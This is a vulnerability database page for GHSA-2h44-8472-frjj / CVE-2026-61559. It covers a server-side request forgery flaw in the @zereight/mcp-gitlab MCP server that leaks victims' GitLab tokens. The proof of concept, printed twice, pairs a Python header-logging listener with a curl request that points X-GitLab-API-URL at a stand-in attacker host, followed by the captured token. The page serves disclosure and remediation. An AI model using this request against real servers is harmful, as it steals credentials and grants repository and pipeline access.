GHSA-2H44-8472-FRJJ

Vulnerability from github – Published: 2026-09-15 20:57 – Updated: 2026-09-15 20:57

Summary

@zereight/mcp-gitlab Vulnerable to Server-Side Request Forgery

Details

Server-Side Request Forgery via X-GitLab-API-URL Header Allows Credential Theft

Affected

Repository: zereight/gitlab-mcp
Affected versions: All versions through commit 74a8c83
Patched versions: None at time of report

Severity

High. CVSS v3.1 8.5 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N)

Description

When the environment variable ENABLE_DYNAMIC_API_URL=true is set, the server reads the X-GitLab-API-URL HTTP request header and uses it as the base URL for all outbound GitLab API calls made within that request. The server validates that the value is a well-formed URL (new URL(dynamicApiUrl)) but applies no allowlist or hostname restriction. The server then attaches the victim's Private-Token to every outbound fetch that uses the redirected URL.

Any caller who can reach the HTTP transport can set X-GitLab-API-URL to an attacker-controlled host. The next GitLab API call the server makes delivers the victim's token to that host.

The vulnerable code appears at two locations.

SSE handler (index.ts:11541):

const dynamicApiUrl = req.headers["x-gitlab-api-url"]?.trim();
if (ENABLE_DYNAMIC_API_URL && dynamicApiUrl) {
  apiUrl = normalizeGitLabApiUrl(dynamicApiUrl);   // no allowlist check
}

Streamable HTTP handler (index.ts:11787), inside parseAuthHeaders:

const dynamicApiUrl = req.headers["x-gitlab-api-url"]?.trim();
if (ENABLE_DYNAMIC_API_URL && dynamicApiUrl) {
  new URL(dynamicApiUrl);                          // syntax-only check
  apiUrl = normalizeGitLabApiUrl(dynamicApiUrl);   // any reachable host accepted
}

In both cases, apiUrl propagates through getEffectiveApiUrl() and into getFetchConfig(), which attaches Private-Token: <victim_token> to every outbound fetch. The token reaches the attacker's host, not GitLab.

Proof of Concept

Run upstream zereight/gitlab-mcp at commit 74a8c83 with ENABLE_DYNAMIC_API_URL=true and REMOTE_AUTHORIZATION=true.

# 1. Start a listener on the attacker host (port 9099)
#    Any HTTP server that logs incoming headers will work.
python3 -c "
import http.server, sys
class H(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        print('HEADERS:', dict(self.headers))
        self.send_response(200); self.end_headers()
http.server.HTTPServer(('0.0.0.0', 9099), H).serve_forever()
"

# 2. Send any MCP tool call with the malicious header
curl -X POST http://TARGET:3002/mcp \
  -H "X-GitLab-API-URL: http://ATTACKER:9099/api/v4" \
  -H "Authorization: Bearer ANY_VALID_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"jsonrpc":"2.0","method":"tools/call","params":{"name":"list_issues","arguments":{"project_id":"1"}},"id":1}'

The listener receives:

GET /api/v4/projects/1/issues HTTP/1.1
private-token: <VICTIM_GITLAB_TOKEN>
Host: ATTACKER:9099

The victim's token arrives at the attacker host. The attacker never needed it in advance. The MCP server delivered it.

Impact

The attacker obtains the victim's GitLab Personal Access Token or CI/CD job token in a single request. With the stolen token they gain full GitLab API access at the victim's permission level: read of all repositories, issues, merge requests, CI/CD pipeline definitions and variables/secrets; write to push code, modify pipelines, create or delete resources, and rotate CI/CD variables.

CVSS factors: - PR:L: reaching the HTTP transport requires presenting some auth token - S:C: the attack crosses the boundary into GitLab (a separate security domain) - C:H: victim's GitLab token stolen in one request; full read of all scoped data - I:H: attacker can push code and modify pipelines with the stolen token - A:N: the MCP server continues operating normally

Why This Is a Vulnerability, Not Intended Behavior

ENABLE_DYNAMIC_API_URL is documented for supporting self-hosted GitLab instances at a non-default base URL. The intended caller behavior is to supply the URL of their own GitLab instance. The feature has no mechanism to distinguish a legitimate self-hosted GitLab URL from an attacker-controlled host. Once enabled, every request that includes X-GitLab-API-URL can redirect the server's credential-carrying outbound calls to any reachable host with no restriction.

PR #453 (merged) added a startup guard that blocks the Streamable HTTP transport from running with static tokens unless REMOTE_AUTHORIZATION=true or OAuth is configured. That guard runs once at server startup and checks transport configuration. It does not modify parseAuthHeaders, does not validate X-GitLab-API-URL, and does not restrict the token-forwarding path at runtime. The SSRF sink at index.ts:11787 is unchanged in the current code and fully reachable in the documented multi-user deployment mode (REMOTE_AUTHORIZATION=true).

Remediation

Validate X-GitLab-API-URL against a configurable allowlist of trusted GitLab hostnames before assigning the value to apiUrl. Reject any request whose X-GitLab-API-URL hostname is not in the allowlist. Apply this check at both index.ts:11541 and index.ts:11787.

Example fix for the Streamable HTTP handler:

const ALLOWED_HOSTS = (process.env.GITLAB_ALLOWED_HOSTS ?? "")
  .split(",").map(h => h.trim()).filter(Boolean);

const dynamicApiUrl = req.headers["x-gitlab-api-url"]?.trim();
if (ENABLE_DYNAMIC_API_URL && dynamicApiUrl) {
  const parsed = new URL(dynamicApiUrl);
  if (!ALLOWED_HOSTS.includes(parsed.hostname)) {
    throw new Error(`X-GitLab-API-URL hostname not in allowlist: ${parsed.hostname}`);
  }
  apiUrl = normalizeGitLabApiUrl(dynamicApiUrl);
}

Document GITLAB_ALLOWED_HOSTS in the README alongside ENABLE_DYNAMIC_API_URL. If maintaining an allowlist is not feasible, disable ENABLE_DYNAMIC_API_URL by default and document the token-forwarding risk prominently.

Credit

Reported via GitHub Security Advisory on 2026-06-07.

Severity

9.6 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@zereight/mcp-gitlab"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.0.1"
            },
            {
              "fixed": "2.1.27"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-61559"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-15T20:57:28Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "# Server-Side Request Forgery via X-GitLab-API-URL Header Allows Credential Theft\n\n## Affected\n\n- **Repository:** `zereight/gitlab-mcp`\n- **Affected versions:** All versions through commit `74a8c83`\n- **Patched versions:** None at time of report\n\n## Severity\n\nHigh. CVSS v3.1 8.5 (`AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N`)\n\n## Description\n\nWhen the environment variable `ENABLE_DYNAMIC_API_URL=true` is set, the server\nreads the `X-GitLab-API-URL` HTTP request header and uses it as the base URL for\nall outbound GitLab API calls made within that request. The server validates that\nthe value is a well-formed URL (`new URL(dynamicApiUrl)`) but applies no\nallowlist or hostname restriction. The server then attaches the victim\u0027s\n`Private-Token` to every outbound fetch that uses the redirected URL.\n\nAny caller who can reach the HTTP transport can set `X-GitLab-API-URL` to an\nattacker-controlled host. The next GitLab API call the server makes delivers the\nvictim\u0027s token to that host.\n\nThe vulnerable code appears at two locations.\n\n**SSE handler (`index.ts:11541`):**\n\n```typescript\nconst dynamicApiUrl = req.headers[\"x-gitlab-api-url\"]?.trim();\nif (ENABLE_DYNAMIC_API_URL \u0026\u0026 dynamicApiUrl) {\n  apiUrl = normalizeGitLabApiUrl(dynamicApiUrl);   // no allowlist check\n}\n```\n\n**Streamable HTTP handler (`index.ts:11787`), inside `parseAuthHeaders`:**\n\n```typescript\nconst dynamicApiUrl = req.headers[\"x-gitlab-api-url\"]?.trim();\nif (ENABLE_DYNAMIC_API_URL \u0026\u0026 dynamicApiUrl) {\n  new URL(dynamicApiUrl);                          // syntax-only check\n  apiUrl = normalizeGitLabApiUrl(dynamicApiUrl);   // any reachable host accepted\n}\n```\n\nIn both cases, `apiUrl` propagates through `getEffectiveApiUrl()` and into\n`getFetchConfig()`, which attaches `Private-Token: \u003cvictim_token\u003e` to every\noutbound fetch. The token reaches the attacker\u0027s host, not GitLab.\n\n## Proof of Concept\n\nRun upstream `zereight/gitlab-mcp` at commit `74a8c83` with\n`ENABLE_DYNAMIC_API_URL=true` and `REMOTE_AUTHORIZATION=true`.\n\n```bash\n# 1. Start a listener on the attacker host (port 9099)\n#    Any HTTP server that logs incoming headers will work.\npython3 -c \"\nimport http.server, sys\nclass H(http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n        print(\u0027HEADERS:\u0027, dict(self.headers))\n        self.send_response(200); self.end_headers()\nhttp.server.HTTPServer((\u00270.0.0.0\u0027, 9099), H).serve_forever()\n\"\n\n# 2. Send any MCP tool call with the malicious header\ncurl -X POST http://TARGET:3002/mcp \\\n  -H \"X-GitLab-API-URL: http://ATTACKER:9099/api/v4\" \\\n  -H \"Authorization: Bearer ANY_VALID_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"jsonrpc\":\"2.0\",\"method\":\"tools/call\",\"params\":{\"name\":\"list_issues\",\"arguments\":{\"project_id\":\"1\"}},\"id\":1}\u0027\n```\n\nThe listener receives:\n\n```\nGET /api/v4/projects/1/issues HTTP/1.1\nprivate-token: \u003cVICTIM_GITLAB_TOKEN\u003e\nHost: ATTACKER:9099\n```\n\nThe victim\u0027s token arrives at the attacker host. The attacker never needed it\nin advance. The MCP server delivered it.\n\n## Impact\n\nThe attacker obtains the victim\u0027s GitLab Personal Access Token or CI/CD job\ntoken in a single request. With the stolen token they gain full GitLab API\naccess at the victim\u0027s permission level: read of all repositories, issues,\nmerge requests, CI/CD pipeline definitions and variables/secrets; write to push\ncode, modify pipelines, create or delete resources, and rotate CI/CD variables.\n\nCVSS factors:\n- `PR:L`: reaching the HTTP transport requires presenting some auth token\n- `S:C`: the attack crosses the boundary into GitLab (a separate security domain)\n- `C:H`: victim\u0027s GitLab token stolen in one request; full read of all scoped data\n- `I:H`: attacker can push code and modify pipelines with the stolen token\n- `A:N`: the MCP server continues operating normally\n\n## Why This Is a Vulnerability, Not Intended Behavior\n\n`ENABLE_DYNAMIC_API_URL` is documented for supporting self-hosted GitLab\ninstances at a non-default base URL. The intended caller behavior is to supply\nthe URL of their own GitLab instance. The feature has no mechanism to distinguish\na legitimate self-hosted GitLab URL from an attacker-controlled host. Once\nenabled, every request that includes `X-GitLab-API-URL` can redirect the server\u0027s\ncredential-carrying outbound calls to any reachable host with no restriction.\n\nPR #453 (merged) added a startup guard that blocks the Streamable HTTP transport\nfrom running with static tokens unless `REMOTE_AUTHORIZATION=true` or OAuth is\nconfigured. That guard runs once at server startup and checks transport\nconfiguration. It does not modify `parseAuthHeaders`, does not validate\n`X-GitLab-API-URL`, and does not restrict the token-forwarding path at runtime.\nThe SSRF sink at `index.ts:11787` is unchanged in the current code and fully\nreachable in the documented multi-user deployment mode (`REMOTE_AUTHORIZATION=true`).\n\n## Remediation\n\nValidate `X-GitLab-API-URL` against a configurable allowlist of trusted GitLab\nhostnames before assigning the value to `apiUrl`. Reject any request whose\n`X-GitLab-API-URL` hostname is not in the allowlist. Apply this check at both\n`index.ts:11541` and `index.ts:11787`.\n\nExample fix for the Streamable HTTP handler:\n\n```typescript\nconst ALLOWED_HOSTS = (process.env.GITLAB_ALLOWED_HOSTS ?? \"\")\n  .split(\",\").map(h =\u003e h.trim()).filter(Boolean);\n\nconst dynamicApiUrl = req.headers[\"x-gitlab-api-url\"]?.trim();\nif (ENABLE_DYNAMIC_API_URL \u0026\u0026 dynamicApiUrl) {\n  const parsed = new URL(dynamicApiUrl);\n  if (!ALLOWED_HOSTS.includes(parsed.hostname)) {\n    throw new Error(`X-GitLab-API-URL hostname not in allowlist: ${parsed.hostname}`);\n  }\n  apiUrl = normalizeGitLabApiUrl(dynamicApiUrl);\n}\n```\n\nDocument `GITLAB_ALLOWED_HOSTS` in the README alongside `ENABLE_DYNAMIC_API_URL`.\nIf maintaining an allowlist is not feasible, disable `ENABLE_DYNAMIC_API_URL` by\ndefault and document the token-forwarding risk prominently.\n\n## Credit\n\nReported via GitHub Security Advisory on 2026-06-07.",
  "id": "GHSA-2h44-8472-frjj",
  "modified": "2026-09-15T20:57:29Z",
  "published": "2026-09-15T20:57:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/zereight/gitlab-mcp/security/advisories/GHSA-2h44-8472-frjj"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zereight/gitlab-mcp/pull/625"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zereight/gitlab-mcp/commit/6ffb4cc70706fd05b1ab80901676bc2998b6db6d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/zereight/gitlab-mcp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zereight/gitlab-mcp/releases/tag/v2.1.27"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@zereight/mcp-gitlab Vulnerable to Server-Side Request Forgery"
}

CVE-2026-61559 (GCVE-0-2026-61559)

Vulnerability from cvelistv5 – Published: 2026-09-15 20:58 – Updated: 2026-09-15 20:58

Title

@zereight/mcp-gitlab Vulnerable to Server-Side Request Forgery

Summary

`@zereight/mcp-gitlab` is a Model Context Protocol server for GitLab. Starting in version 0.0.1 and prior to version 2.1.27, when the environment variable `ENABLE_DYNAMIC_API_URL=true` is set, the server reads the `X-GitLab-API-URL` HTTP request header and uses it as the base URL for all outbound GitLab API calls made within that request. The server validates that the value is a well-formed URL (`new URL(dynamicApiUrl)`) but applies no allowlist or hostname restriction. The server then attaches the victim's `Private-Token` to every outbound fetch that uses the redirected URL. Any caller who can reach the HTTP transport can set `X-GitLab-API-URL` to an attacker-controlled host. The next GitLab API call the server makes delivers the victim's token to that host. Version 2.1.27 contains a patch.

Severity

9.6 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

CWE

CWE-918 - Server-Side Request Forgery (SSRF)

Assigner

GitHub_M mitre root

References

4 references

URL	Tags
https://github.com/zereight/gitlab-mcp/security/a…	x_refsource_CONFIRM
https://github.com/zereight/gitlab-mcp/pull/625	x_refsource_MISC
https://github.com/zereight/gitlab-mcp/commit/6ff…	x_refsource_MISC
https://github.com/zereight/gitlab-mcp/releases/t…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
zereight	gitlab-mcp	Affected: >= 0.0.1, < 2.1.27

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "gitlab-mcp",
          "vendor": "zereight",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 0.0.1, \u003c 2.1.27"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "`@zereight/mcp-gitlab` is a Model Context Protocol server for GitLab. Starting in version 0.0.1 and prior to version 2.1.27, when the environment variable `ENABLE_DYNAMIC_API_URL=true` is set, the server reads the `X-GitLab-API-URL` HTTP request header and uses it as the base URL for all outbound GitLab API calls made within that request. The server validates that the value is a well-formed URL (`new URL(dynamicApiUrl)`) but applies no allowlist or hostname restriction. The server then attaches the victim\u0027s `Private-Token` to every outbound fetch that uses the redirected URL. Any caller who can reach the HTTP transport can set `X-GitLab-API-URL` to an attacker-controlled host. The next GitLab API call the server makes delivers the victim\u0027s token to that host. Version 2.1.27 contains a patch."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 9.6,
            "baseSeverity": "CRITICAL",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-918",
              "description": "CWE-918: Server-Side Request Forgery (SSRF)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-15T20:58:41.639Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/zereight/gitlab-mcp/security/advisories/GHSA-2h44-8472-frjj",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/zereight/gitlab-mcp/security/advisories/GHSA-2h44-8472-frjj"
        },
        {
          "name": "https://github.com/zereight/gitlab-mcp/pull/625",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/zereight/gitlab-mcp/pull/625"
        },
        {
          "name": "https://github.com/zereight/gitlab-mcp/commit/6ffb4cc70706fd05b1ab80901676bc2998b6db6d",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/zereight/gitlab-mcp/commit/6ffb4cc70706fd05b1ab80901676bc2998b6db6d"
        },
        {
          "name": "https://github.com/zereight/gitlab-mcp/releases/tag/v2.1.27",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/zereight/gitlab-mcp/releases/tag/v2.1.27"
        }
      ],
      "source": {
        "advisory": "GHSA-2h44-8472-frjj",
        "discovery": "UNKNOWN"
      },
      "title": "@zereight/mcp-gitlab Vulnerable to Server-Side Request Forgery"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-61559",
    "datePublished": "2026-09-15T20:58:41.639Z",
    "dateReserved": "2026-07-10T16:48:39.923Z",
    "dateUpdated": "2026-09-15T20:58:41.639Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-2H44-8472-FRJJ

Server-Side Request Forgery via X-GitLab-API-URL Header Allows Credential Theft

Affected

Severity

Description

Proof of Concept

Impact

Why This Is a Vulnerability, Not Intended Behavior

Remediation

Credit

CVE-2026-61559 (GCVE-0-2026-61559)

Tags

Sightings

Nomenclature

Related by attack behaviour